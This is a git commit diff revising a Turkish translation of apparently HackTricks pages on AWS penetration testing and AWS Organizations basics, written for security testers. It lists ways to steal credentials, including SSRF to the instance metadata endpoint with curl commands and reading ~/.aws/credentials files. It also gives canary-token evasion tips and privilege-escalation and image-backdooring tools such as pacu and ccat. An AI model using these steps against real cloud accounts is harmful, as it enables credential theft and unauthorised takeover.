Translated ['src/banners/hacktricks-training.md', 'src/pentesting-ci-cd/

This commit is contained in:
Translator
2025-01-02 01:30:18 +00:00
parent d651089768
commit 106295c603
235 changed files with 2610 additions and 2575 deletions

View File

@@ -4,15 +4,15 @@
## Temel Bilgiler
**Pentesting'e başlamadan önce** bir **AWS** ortamında bilmeniz gereken birkaç **temel şey** var; bu, ne yapmanız gerektiğini, yanlış yapılandırmaları nasıl bulacağınızı ve bunları nasıl istismar edeceğinizi anlamanıza yardımcı olacaktır.
**AWS** ortamında **pentesting** yapmaya başlamadan önce, AWS'nin nasıl çalıştığı hakkında bilmeniz gereken birkaç **temel şey** vardır. Bu, ne yapmanız gerektiğini, yanlış yapılandırmaları nasıl bulacağınızı ve bunları nasıl istismar edeceğinizi anlamanıza yardımcı olacaktır.
Organizasyon hiyerarşisi, IAM ve diğer temel kavramlar hakkında ıklamalar için:
Organizasyon hiyerarşisi, IAM ve diğer temel kavramlar hakkında bilgiler:
{{#ref}}
aws-basic-information/
{{#endref}}
## Öğrenmek için Laboratuvarlar
## Öğrenme Laboratuvarları
- [https://github.com/RhinoSecurityLabs/cloudgoat](https://github.com/RhinoSecurityLabs/cloudgoat)
- [https://github.com/BishopFox/iam-vulnerable](https://github.com/BishopFox/iam-vulnerable)
@@ -27,20 +27,20 @@ Saldırı simülasyonu için araçlar:
- [https://github.com/Datadog/stratus-red-team/](https://github.com/Datadog/stratus-red-team/)
- [https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main](https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main)
## AWS Pentester/Kırmızı Ekip Metodolojisi
## AWS Pentester/Kırmızı Takım Metodolojisi
Bir AWS ortamını denetlemek için bilmeniz gereken çok önemli noktalar: hangi **hizmetlerin kullanıldığı**, neyin **açık olduğu**, kimin neye **erişimi olduğu** ve iç AWS hizmetlerinin **harici hizmetlerle** nasıl bağlantılı olduğudur.
AWS ortamını denetlemek için bilmeniz gereken çok önemli noktalar: hangi **hizmetlerin kullanıldığı**, neyin **açık olduğu**, kimin neye **erişimi olduğu** ve iç AWS hizmetlerinin **harici hizmetlerle** nasıl bağlantılı olduğudur.
Kırmızı Ekip bakışısıyla, bir AWS ortamını ele geçirmenin **ilk adımı** bazı **kimlik bilgilerini** elde etmektir. Bunu nasıl yapacağınıza dair bazı fikirler:
Kırmızı takımısından, bir AWS ortamını ele geçirmenin **ilk adımı** bazı **kimlik bilgilerini** elde etmektir. Bunu nasıl yapacağınıza dair bazı fikirler:
- Github'daki **sızıntılar** (veya benzeri) - OSINT
- **Sosyal** Mühendislik
- **Şifre** yeniden kullanımı (şifre sızıntıları)
- **Şifre** tekrar kullanımı (şifre sızıntıları)
- AWS-Hosted Uygulamalardaki Güvenlik Açıkları
- [**Sunucu Tarafı İstek Sahteciliği**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) ile meta veri uç noktasına erişim
- [**Sunucu Tarafı İstek Sahteciliği**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) ile metadata uç noktasına erişim
- **Yerel Dosya Okuma**
- `/home/KULLANICI_ADI/.aws/credentials`
- `C:\Users\KULLANICI_ADI\.aws\credentials`
- `/home/USERNAME/.aws/credentials`
- `C:\Users\USERNAME\.aws\credentials`
- 3. tarafların **ihlal edilmesi**
- **İç** Çalışan
- [**Cognito** ](aws-services/aws-cognito-enum/#cognito)kimlik bilgileri
@@ -58,13 +58,13 @@ aws-permissions-for-a-pentest.md
{{#endref}}
> [!NOTE]
> Kimlik bilgilerini elde etmeyi başardıktan sonra, bu kimlik bilgilerin kime ait olduğunu ve **neye erişim sağladıklarını** bilmeniz gerekir, bu nedenle bazı temel sayım işlemleri yapmalısınız:
> Kimlik bilgilerini elde ettikten sonra, bu kimlik bilgilerin kime ait olduğunu ve **neye erişim sağladıklarını** bilmeniz gerekir, bu nedenle bazı temel sayım işlemleri yapmalısınız:
## Temel Sayım
### SSRF
AWS içindeki bir makinede bir SSRF bulduysanız, bu sayfayı hileler için kontrol edin:
AWS içindeki bir makinede bir SSRF bulduysanız, bu sayfayı kontrol edin:
{{#ref}}
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
@@ -89,7 +89,7 @@ TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metad
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic/instance-identity/document
```
> [!CAUTION]
> Şirketlerin **canary token'lar** kullanarak **token'ların çalındığını ve kullanıldığını** belirleyebileceğini unutmayın. Kullanımdan önce bir token'ın canary token olup olmadığını kontrol etmeniz önerilir.\
> Şirketlerin **tokenlerin çalındığını ve kullanıldığını** belirlemek için **canary tokenleri** kullanabileceğini unutmayın. Kullanımdan önce bir tokenin canary token olup olmadığını kontrol etmeniz önerilir.\
> Daha fazla bilgi için [**bu sayfayı kontrol edin**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
### Org Enumeration
@@ -100,7 +100,7 @@ aws-services/aws-organizations-enum.md
### IAM Enumeration
Yeterli izinleriniz varsa, **AWS hesabındaki her varlığın ayrıcalıklarını kontrol etmek** sizin ve diğer kimliklerin ne yapabileceğini ve nasıl **ayrıcalıkları artırabileceğinizi** anlamanıza yardımcı olacaktır.
Yeterli izinleriniz varsa, **AWS hesabındaki her varlığın ayrıcalıklarını kontrol etmek** ne yapabileceğinizi ve diğer kimliklerin ne yapabileceğini anlamanıza yardımcı olacaktır ve **ayrıcalıkları artırma** yollarını öğrenmenizi sağlar.
IAM'yi listelemek için yeterli izniniz yoksa, bunları **bruteforce ile çalabilirsiniz**.\
**Listeleme ve brute-forcing nasıl yapılır** kontrol edin:
@@ -110,18 +110,18 @@ aws-services/aws-iam-enum.md
{{#endref}}
> [!NOTE]
> Artık **kimlik bilgileriniz hakkında bazı bilgilere sahip olduğunuzda** (ve eğer bir kırmızı takım iseniz umarım **tespit edilmemişsinizdir**). Ortamda hangi hizmetlerin kullanıldığını belirleme zamanı.\
> Artık **kimlik bilgileriniz hakkında bazı bilgilere sahipsiniz** (ve eğer bir kırmızı takım iseniz umarım **tespit edilmemişsinizdir**). Hangi hizmetlerin ortamda kullanıldığını belirleme zamanı.\
> Aşağıdaki bölümde **bazı yaygın hizmetleri listeleme** yollarını kontrol edebilirsiniz.
## Services Enumeration, Post-Exploitation & Persistence
AWS, şaşırtıcı bir hizmet miktarına sahiptir, aşağıdaki sayfada **temel bilgiler, listeleme** kılavuzları\*\*,\*\* **tespiti önleme**, **kalıcılık** sağlama ve bazıları hakkında diğer **sonrası istismar** ipuçlarını bulacaksınız:
AWS, şaşırtıcı bir hizmet miktarına sahiptir, aşağıdaki sayfada **temel bilgiler, listeleme** kılavuzları\*\*,\*\* **tespiti önleme**, **kalıcılık** sağlama ve bunlardan bazıları hakkında diğer **post-exploitation** ipuçlarını bulacaksınız:
{{#ref}}
aws-services/
{{#endref}}
Tüm çalışmaları **manuel** olarak yapmanıza gerek olmadığını unutmayın, bu yazının aşağısında [**otomatik araçlar**](./#automated-tools) hakkında bir **bölüm** bulabilirsiniz.
Tüm çalışmaları **manuel** olarak yapmanıza gerek olmadığını unutmayın, bu yazıda **[otomatik araçlar](./#automated-tools)** hakkında bir **bölüm** bulabilirsiniz.
Ayrıca, bu aşamada **kimlik doğrulaması yapılmamış kullanıcılara açık daha fazla hizmet keşfetmiş olabilirsiniz**, bunları istismar edebilirsiniz:
@@ -139,7 +139,7 @@ aws-privilege-escalation/
## Publicly Exposed Services
AWS hizmetlerini listeleme sırasında bazılarını **İnternete ık öğeler** (VM/Konteyner portları, veritabanları veya kuyruk hizmetleri, anlık görüntüler veya kovalar...) sunduğunu bulmuş olabilirsiniz.\
AWS hizmetlerini listeleme sırasında, bazı hizmetlerin **İnternete elemanlar açtığını** bulmuş olabilirsiniz (VM/Konteyner portları, veritabanları veya kuyruk hizmetleri, anlık görüntüler veya bucketlar...).\
Pentester/kırmızı takım üyesi olarak, bunlarda **hassas bilgiler / zafiyetler** bulup bulamayacağınızı her zaman kontrol etmelisiniz, çünkü bunlar size **AWS hesabına daha fazla erişim** sağlayabilir.
Bu kitapta **açık AWS hizmetlerini bulma ve bunları kontrol etme** hakkında **bilgi** bulmalısınız. **Açık ağ hizmetlerinde zafiyetler bulma** hakkında, belirli **hizmeti** aramanızı öneririm:
@@ -152,16 +152,16 @@ https://book.hacktricks.xyz/
### From the root/management account
Yönetim hesabı organizasyonda yeni hesaplar oluşturduğunda, yeni hesapta varsayılan olarak **`OrganizationAccountAccessRole`** adı verilen **yeni bir rol** oluşturulur ve **yönetim hesabına** yeni hesaba erişim için **AdministratorAccess** politikası verilir.
Yönetim hesabı organizasyonda yeni hesaplar oluşturduğunda, yeni hesapta varsayılan olarak **`OrganizationAccountAccessRole`** adı verilen **yeni bir rol** oluşturulur ve **yönetim hesabına** yeni hesaba erişim sağlamak için **AdministratorAccess** politikası verilir.
<figure><img src="../../images/image (171).png" alt=""><figcaption></figcaption></figure>
Bu nedenle, bir çocuk hesaba yönetici olarak erişmek için şunlara ihtiyacınız var:
Bu nedenle, bir çocuk hesaba yönetici olarak erişmek için şunları yapmanız gerekir:
- **Yönetim** hesabını **ele geçirmek** ve **çocuk hesapların** **ID'sini** ve **rolün** **isimlerini** (varsayılan olarak OrganizationAccountAccessRole) bulmak, yönetim hesabının yönetici olarak erişmesine izin verir.
- Çocuk hesapları bulmak için AWS konsolundaki organizasyonlar bölümüne gidin veya `aws organizations list-accounts` komutunu çalıştırın.
- Rollerin adını doğrudan bulamazsınız, bu nedenle tüm özel IAM politikalarını kontrol edin ve **önceden keşfedilen çocuk hesaplar üzerinde `sts:AssumeRole` izni veren herhangi birini arayın**.
- Yönetim hesabındaki bir **prensibi** **çocuk hesaplardaki rol üzerinde `sts:AssumeRole` izni ile ele geçirin** (hesap, yönetim hesabından herhangi birinin taklit etmesine izin veriyorsa, dış bir hesap olduğu için belirli `sts:AssumeRole` izinleri gereklidir).
- Rollerin adını doğrudan bulamazsınız, bu nedenle tüm özel IAM politikalarını kontrol edin ve **daha önce keşfedilen çocuk hesaplar üzerinde `sts:AssumeRole` izni veren herhangi birini arayın**.
- Yönetim hesabındaki bir **prensibi** **çocuk hesaplardaki rol üzerinde `sts:AssumeRole` izni ile ele geçirin** (hesap, yönetim hesabından herhangi birinin taklit etmesine izin veriyor olsa bile, dış bir hesap olduğu için belirli `sts:AssumeRole` izinleri gereklidir).
## Automated Tools
@@ -178,7 +178,7 @@ AWS_PROFILE=<profile> aws_recon \
--regions global,us-east-1,us-east-2 \
--verbose
```
- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist, Bulut Sağlayıcılarından Varlıklar (Host Adları, IP Adresleri) almak için **çoklu bulut aracı**dır.
- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist, Bulut Sağlayıcılarından Varlıklar (Ana Bilgisayar İsimleri, IP Adresleri) almak için **çoklu bulut aracı**dır.
- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper, Amazon Web Services (AWS) ortamlarınızı analiz etmenize yardımcı olur. Artık güvenlik sorunları için denetim de dahil olmak üzere çok daha fazla işlevsellik içermektedir.
```bash
# Installation steps in github
@@ -224,7 +224,7 @@ python3 cloudmapper.py public --accounts dev
python cloudmapper.py prepare #Prepare webserver
python cloudmapper.py webserver #Show webserver
```
- [**cartography**](https://github.com/lyft/cartography): Cartography, Neo4j veritabanası tarafından desteklenen sezgisel bir grafik görünümünde altyapı varlıklarını ve bunlar arasındaki ilişkileri birleştiren bir Python aracıdır.
- [**cartography**](https://github.com/lyft/cartography): Cartography, altyapı varlıklarını ve bunlar arasındaki ilişkileri, Neo4j veritabanı tarafından desteklenen sezgisel bir grafik görünümünde birleştiren bir Python aracıdır.
```bash
# Install
pip install cartography
@@ -233,14 +233,14 @@ pip install cartography
# Get AWS info
AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-prompt --neo4j-user neo4j
```
- [**starbase**](https://github.com/JupiterOne/starbase): Starbase, bulut altyapısı, SaaS uygulamaları, güvenlik kontrolleri ve daha fazlası dahil olmak üzere hizmetlerden ve sistemlerden varlıkları ve ilişkileri Neo4j veritabanı destekli sezgisel bir grafik görünümünde toplar.
- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (python2 kullanır) Bu, bir hesapta oluşturulan tüm [**AWS kaynaklarını**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) **keşfetmeye** çalışan bir araçtır.
- [**starbase**](https://github.com/JupiterOne/starbase): Starbase, bulut altyapısı, SaaS uygulamaları, güvenlik kontrolleri ve daha fazlası dahil olmak üzere hizmetlerden ve sistemlerden varlıkları ve ilişkileri toplayarak Neo4j veritabanı ile desteklenen sezgisel bir grafik görünümüne dönüştürür.
- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (python2 kullanır) Bu, bir hesapta oluşturulan **tüm** [**AWS kaynaklarını**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) **keşfetmeye** çalışan bir araçtır.
- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): Bu, bir AWS hesabıyla ilişkili **tüm genel IP adreslerini** (hem IPv4/IPv6) **alma** aracı.
### Privesc & Exploiting
- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Taranan AWS ortamındaki en ayrıcalıklı kullanıcıları, AWS Shadow Admin'leri de dahil olmak üzere keşfedin. PowerShell kullanır. **`Check-PrivilegedPolicy`** fonksiyonunda **ayrıcalıklı politikaların tanımını** bulabilirsiniz [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu, bulut ortamlarına karşı saldırgan güvenlik testleri için tasarlanmış açık kaynaklı bir **AWS exploitation framework**'üdür. **Numaralandırabilir**, **yanlış yapılandırmaları** bulabilir ve bunları **istismar edebilir**. **`user_escalation_methods`** dict içinde [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) adresinde **ayrıcalıklı izinlerin tanımını** bulabilirsiniz.
- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Taranan AWS ortamındaki en ayrıcalıklı kullanıcıları, AWS Shadow Admins dahil, keşfedin. PowerShell kullanır. **`Check-PrivilegedPolicy`** fonksiyonunda **ayrıcalıklı politikaların tanımını** bulabilirsiniz [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu, bulut ortamlarına karşı saldırgan güvenlik testleri için tasarlanmış açık kaynaklı bir **AWS exploitation framework**'üdür. **Enumerate** edebilir, **yanlış yapılandırmaları** bulabilir ve **bunları istismar** edebilir. **`user_escalation_methods`** dict içinde **ayrıcalıklı izinlerin tanımını** bulabilirsiniz [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134).
- Pacu'nun **sadece kendi privesc yollarınızı kontrol ettiğini** unutmayın (hesap genelinde değil).
```bash
# Install
@@ -255,7 +255,7 @@ pacu
> exec iam__enum_permissions # Get permissions
> exec iam__privesc_scan # List privileged permissions
```
- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper), bir AWS hesabı veya AWS organizasyonu için AWS Kimlik ve Erişim Yönetimi (IAM) yapılandırmasındaki riskleri belirlemek için bir script ve kütüphanedir. Farklı IAM Kullanıcıları ve Rolleri, bir hesabın yönlendirilmiş grafiği olarak modellenir; bu, **yetki yükseltme** ve bir saldırganın AWS'deki bir kaynağa veya eyleme erişim kazanmak için alabileceği alternatif yolları kontrol etmeyi sağlar. **Privesc** yollarını bulmak için kullanılan **izinleri** kontrol edebilirsiniz, dosya adları `_edges.py` ile biten [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing) adresinde.
- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper), bir AWS hesabı veya AWS organizasyonu için AWS Kimlik ve Erişim Yönetimi (IAM) yapılandırmasındaki riskleri belirlemek için bir script ve kütüphanedir. Farklı IAM Kullanıcıları ve Rolleri, bir hesabın yönlendirilmiş grafiği olarak modellenir; bu, **yetki yükseltme** ve bir saldırganın AWS'de bir kaynağa veya eyleme erişim kazanmak için alabileceği alternatif yollar için kontrolleri mümkün kılar. **privesc** yollarını bulmak için kullanılan **izinleri** kontrol edebilirsiniz, dosya adları `_edges.py` ile biten [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing) inde.
```bash
# Install
pip install principalmapper
@@ -277,8 +277,8 @@ pmapper --profile dev query 'preset privesc *' # Get privescs with admins
pmapper --profile dev orgs create
pmapper --profile dev orgs display
```
- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining, en az ayrıcalık ihlallerini tanımlayan ve risk öncelikli bir HTML raporu oluşturan bir AWS IAM Güvenlik Değerlendirme aracıdır.\
Bu araç, potansiyel olarak **aşırı ayrıcalıklı** müşteri, inline ve aws **politikalarını** ve hangi **prensiplerin bunlara erişimi olduğunu** gösterecektir. (Bu sadece privesc kontrolü yapmakla kalmaz, aynı zamanda diğer ilginç izinleri de kontrol eder, kullanılması önerilir).
- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining, en az ayrıcalık ihlallerini tespit eden ve risk öncelikli bir HTML raporu oluşturan bir AWS IAM Güvenlik Değerlendirme aracıdır.\
Bu araç, potansiyel olarak **aşırı ayrıcalıklı** müşteri, inline ve aws **politikalarını** ve hangi **prensiplerin bunlara erişimi olduğunu** gösterecektir. (Bu sadece privesc için değil, aynı zamanda diğer ilginç izinler için de kontrol eder, kullanılması önerilir).
```bash
# Install
pip install cloudsplaining
@@ -290,9 +290,9 @@ cloudsplaining download --profile dev
# Analyze the IAM policies
cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/
```
- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack, ayrılmış Route53 ve CloudFront yapılandırmaları sonucunda **alt alan kaçırmaıklarını** değerlendirmek için AWS hesaplarını analiz eder.
- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): ECR depolarını listele -> ECR deposunu çek -> Arka kapı ekle -> Arka kapılı görüntüyü it.
- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag, yanlışlıkla bırakılmış olabilecek **gizli bilgileri** bulmak için kamuya açık Elastic Block Storage (**EBS**) anlık görüntülerini **arama** yapan bir araçtır.
- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack, ayrılmış Route53 ve CloudFront yapılandırmaları sonucunda AWS hesaplarındaki **alt alan ele geçirmeıklarını** değerlendirir.
- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): ECR repo listesini al -> ECR repo çek -> Arka kapı ekle -> Arka kapılı görüntüyü it.
- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag, kamuya açık Elastic Block Storage (**EBS**) anlık görüntülerinde, kazara bırakılmış olabilecek **gizli bilgileri** arayan bir araçtır.
### Denetim
@@ -303,7 +303,7 @@ cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /
# Compiance options: --compliance {hipaa,cis,cis1,cis2,pci}
## use "cis" for cis level 1 and 2
```
- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler, AWS güvenlik en iyi uygulamaları değerlendirmeleri, denetimleri, olay yanıtı, sürekli izleme, sertleştirme ve adli hazırlık yapmak için bir Açık Kaynak güvenlik aracıdır.
- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler, AWS güvenlik en iyi uygulamaları değerlendirmeleri, denetimler, olay müdahalesi, sürekli izleme, sertleştirme ve adli analiz hazırlığı yapmak için kullanılan bir Açık Kaynak güvenlik aracıdır.
```bash
# Install python3, jq and git
# Install
@@ -314,7 +314,7 @@ prowler -v
prowler <provider>
prowler aws --profile custom-profile [-M csv json json-asff html]
```
- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox, tanıdık olmayan bulut ortamlarında durum farkındalığı kazanmanıza yardımcı olur. Penetrasyon test uzmanları ve diğer saldırgan güvenlik profesyonellerinin bulut altyapısında istismar edilebilir saldırı yollarını bulmalarına yardımcı olmak için oluşturulmuş açık kaynaklı bir komut satırı aracıdır.
- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox, tanıdık olmayan bulut ortamlarında durum farkındalığı kazanmanıza yardımcı olur. Bu, penetrasyon test uzmanları ve diğer saldırgan güvenlik profesyonellerinin bulut altyapısında istismar edilebilir saldırı yollarını bulmalarına yardımcı olmak için oluşturulmuş açık kaynaklı bir komut satırı aracıdır.
```bash
cloudfox aws --profile [profile-name] all-checks
```
@@ -334,9 +334,9 @@ scout aws -p dev
### Sürekli Denetim
- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian, kamu bulut hesaplarını ve kaynaklarını yönetmek için bir kurallar motorudur. Kullanıcılara **iyi yönetilen bir bulut altyapısını etkinleştirmek için politikalar tanımlama** imkanı sunar; bu, hem güvenli hem de maliyet açısından optimize edilmiştir. Birçok kuruluşun elden geçirilmiş betiklerini hafif ve esnek bir araca dönüştürerek, birleşik metrikler ve raporlama ile birleştirir.
- [**pacbot**](https://github.com/tmobile/pacbot)**: Kod Olarak Politika Botu (PacBot)**, bulut için **sürekli uyum izleme, uyum raporlama ve güvenlik otomasyonu** platformudur. PacBot'ta, güvenlik ve uyum politikaları kod olarak uygulanır. PacBot tarafından keşfedilen tüm kaynaklar, politika uyumunu değerlendirmek için bu politikalara karşı değerlendirilir. PacBot'un **otomatik düzeltme** çerçevesi, önceden tanımlanmış eylemleri alarak politika ihlallerine otomatik olarak yanıt verme yeteneği sağlar.
- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert, herhangi bir ortamdan veri **almayı, analiz etmeyi ve uyarı vermeyi** sağlayan sunucusuz, **gerçek zamanlı** bir veri analiz çerçevesidir; **veri kaynakları ve uyarı mantığını tanımlayarak** kullanabilirsiniz. Bilgisayar güvenliği ekipleri, olay tespiti ve yanıtı için her gün terabaytlarca günlük verisini taramak için StreamAlert'ı kullanır.
- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian, kamu bulut hesaplarını ve kaynaklarını yönetmek için bir kurallar motorudur. Kullanıcılara **iyi yönetilen bir bulut altyapısını etkinleştirmek için politikalar tanımlama** imkanı verir; bu, hem güvenli hem de maliyet açısından optimize edilmiştir. Birçok kuruluşun el yapımı betiklerini hafif ve esnek bir araca dönüştürerek, birleşik metrikler ve raporlama ile birleştirir.
- [**pacbot**](https://github.com/tmobile/pacbot)**: Kod Olarak Politika Botu (PacBot)**, **sürekli uyum izleme, uyum raporlama ve bulut için güvenlik otomasyonu** platformudur. PacBot'ta, güvenlik ve uyum politikaları kod olarak uygulanır. PacBot tarafından keşfedilen tüm kaynaklar, politika uyumunu değerlendirmek için bu politikalara karşı değerlendirilir. PacBot'un **otomatik düzeltme** çerçevesi, önceden tanımlanmış eylemleri alarak politika ihlallerine otomatik olarak yanıt verme yeteneği sağlar.
- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert, herhangi bir ortamdan veri **almayı, analiz etmeyi ve uyarı vermeyi** sağlayan sunucusuz, **gerçek zamanlı** bir veri analiz çerçevesidir; **veri kaynakları ve uyarı mantığını tanımlayarak** kullanırsınız. Bilgisayar güvenliği ekipleri, olay tespiti ve yanıtı için her gün terabaytlarca günlük verisini taramak için StreamAlert'ı kullanır.
## DEBUG: AWS cli isteklerini yakala
```bash

View File

@@ -20,33 +20,33 @@ Bu nedenle, bir organizasyonda **iki tür hesap vardır** (AWS hesaplarından ve
- Diğer mevcut hesapları organizasyona davet edin
- Organizasyondan hesapları kaldırın
- Davetleri yönetin
- Organizasyondaki varlıklara (root'lar, OU'lar veya hesaplar) politikalar uygulayın
- Organizasyon içindeki varlıklara (root'lar, OU'lar veya hesaplar) politikalar uygulayın
- Organizasyondaki tüm hesaplar arasında hizmet işlevselliği sağlamak için desteklenen AWS hizmetleriyle entegrasyonu etkinleştirin.
- Bu root hesabı/organizasyonu oluşturmak için kullanılan e-posta ve şifre ile root kullanıcı olarak giriş yapmak mümkündür.
Yönetim hesabı, **ödeyici hesabının sorumluluklarına** sahiptir ve üye hesaplar tarafından biriken tüm ücretleri ödemekten sorumludur. Bir organizasyonun yönetim hesabını değiştiremezsiniz.
- **Üye hesaplar**, bir organizasyondaki tüm diğer hesapları oluşturur. Bir hesap, aynı anda yalnızca bir organizasyonun üyesi olabilir. Sadece o hesaba kontroller uygulamak için bir hesaba bir politika ekleyebilirsiniz.
- **Üye hesaplar**, bir organizasyondaki tüm diğer hesapları oluşturur. Bir hesap aynı anda yalnızca bir organizasyonun üyesi olabilir. Sadece o hesaba kontroller uygulamak için bir hesaba bir politika ekleyebilirsiniz.
- Üye hesaplar **geçerli bir e-posta adresi kullanmalıdır** ve bir **isim** alabilir, genellikle faturalandırmayı yönetemezler (ancak buna erişim verilebilir).
```
aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com
```
### **Organizasyon Birimleri**
Hesaplar **Organizasyon Birimleri (OU)** içinde gruplandırılabilir. Bu şekilde, Organizasyon Birimi için **tüm alt hesaplara uygulanacak** **politikalar** oluşturabilirsiniz. Bir OU'nun altı olarak başka OU'lar da olabileceğini unutmayın.
Hesaplar **Organizasyon Birimleri (OU)** içinde gruplandırılabilir. Bu şekilde, Organizasyon Birimi için **tüm alt hesaplara uygulanacak** **politikalar** oluşturabilirsiniz. Bir OU'nun altı olarak başka OUs'lar da olabileceğini unutmayın.
```bash
# You can get the root id from aws organizations list-roots
aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
```
### Service Control Policy (SCP)
Bir **service control policy (SCP)**, SCP'nin etki ettiği hesaplarda kullanıcıların ve rollerin kullanabileceği hizmetleri ve eylemleri belirten bir politikadır. SCP'ler, **IAM** izin politikalarına **benzer**, ancak **hiçbir izin vermezler**. Bunun yerine, SCP'ler bir organizasyon, organizasyonel birim (OU) veya hesap için **maksimum izinleri** belirtir. Bir SCP'yi organizasyon kökünüze veya bir OU'ya eklediğinizde, **SCP, üye hesaplardaki varlıkların izinlerini sınırlar**.
Bir **service control policy (SCP)**, SCP'nin etki ettiği hesaplarda kullanıcıların ve rollerin kullanabileceği hizmetleri ve eylemleri belirten bir politikadır. SCP'ler, **IAM** izin politikalarına **benzer**, ancak **hiçbir izin vermezler**. Bunun yerine, SCP'ler bir organizasyon, organizasyonel birim (OU) veya hesap için **maksimum izinleri** belirtir. Bir SCP'yi organizasyon kökünüze veya bir OU'ya eklediğinizde, **SCP, üye hesaplardaki varlıklar için izinleri sınırlar**.
Bu, **root kullanıcının bile bir şey yapmasını durdurmanın TEK yoludur**. Örneğin, kullanıcıların CloudTrail'i devre dışı bırakmasını veya yedekleri silmesini durdurmak için kullanılabilir.\
Bu, **root kullanıcının bile bir şey yapmasını durdurmanın TEK yoludur**. Örneğin, kullanıcıların CloudTrail'i devre dışı bırakmasını veya yedekleri silmesini engellemek için kullanılabilir.\
Bunu aşmanın tek yolu, SCP'leri yapılandıran **master account**'u da tehlikeye atmaktır (master account engellenemez).
> [!WARNING]
> **SCP'ler yalnızca hesap içindeki ilkeleri kısıtlar**, bu nedenle diğer hesaplar etkilenmez. Bu, bir SCP'nin `s3:GetObject` iznini reddetmesinin, insanların **hesabınızdaki bir kamu S3 bucket'ına erişmesini durdurmayacağı** anlamına gelir.
> **SCP'ler yalnızca hesap içindeki yetkilileri kısıtlar**, bu nedenle diğer hesaplar etkilenmez. Bu, bir SCP'nin `s3:GetObject` iznini reddetmesinin, insanların **hesabınızdaki bir kamu S3 bucket'ına erişmesini durdurmayacağı anlamına gelir**.
SCP örnekleri:
@@ -60,7 +60,7 @@ SCP örnekleri:
değiştirilmesini reddet.
- Yedeklerin silinmesini reddet.
- IAM kullanıcıları ve erişim anahtarları oluşturmayı reddet.
- IAM kullanıcıları ve erişim anahtarları oluşturmayı reddet
**JSON örneklerini** [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html) adresinde bulabilirsiniz.
@@ -71,7 +71,7 @@ değiştirilmesini reddet.
arn:partition:service:region:account-id:resource-type/resource-id
arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env
```
Not edin ki AWS'te 4 bölüm vardır ama bunları çağırmanın sadece 3 yolu vardır:
AWS'de 4 bölüm olduğunu ancak bunları çağırmanın yalnızca 3 yolu olduğunu unutmayın:
- AWS Standard: `aws`
- AWS China: `aws-cn`
@@ -90,27 +90,27 @@ IAM, AWS hesabınızdaki kaynaklarınıza kimliklerin kimlik doğrulama, yetkile
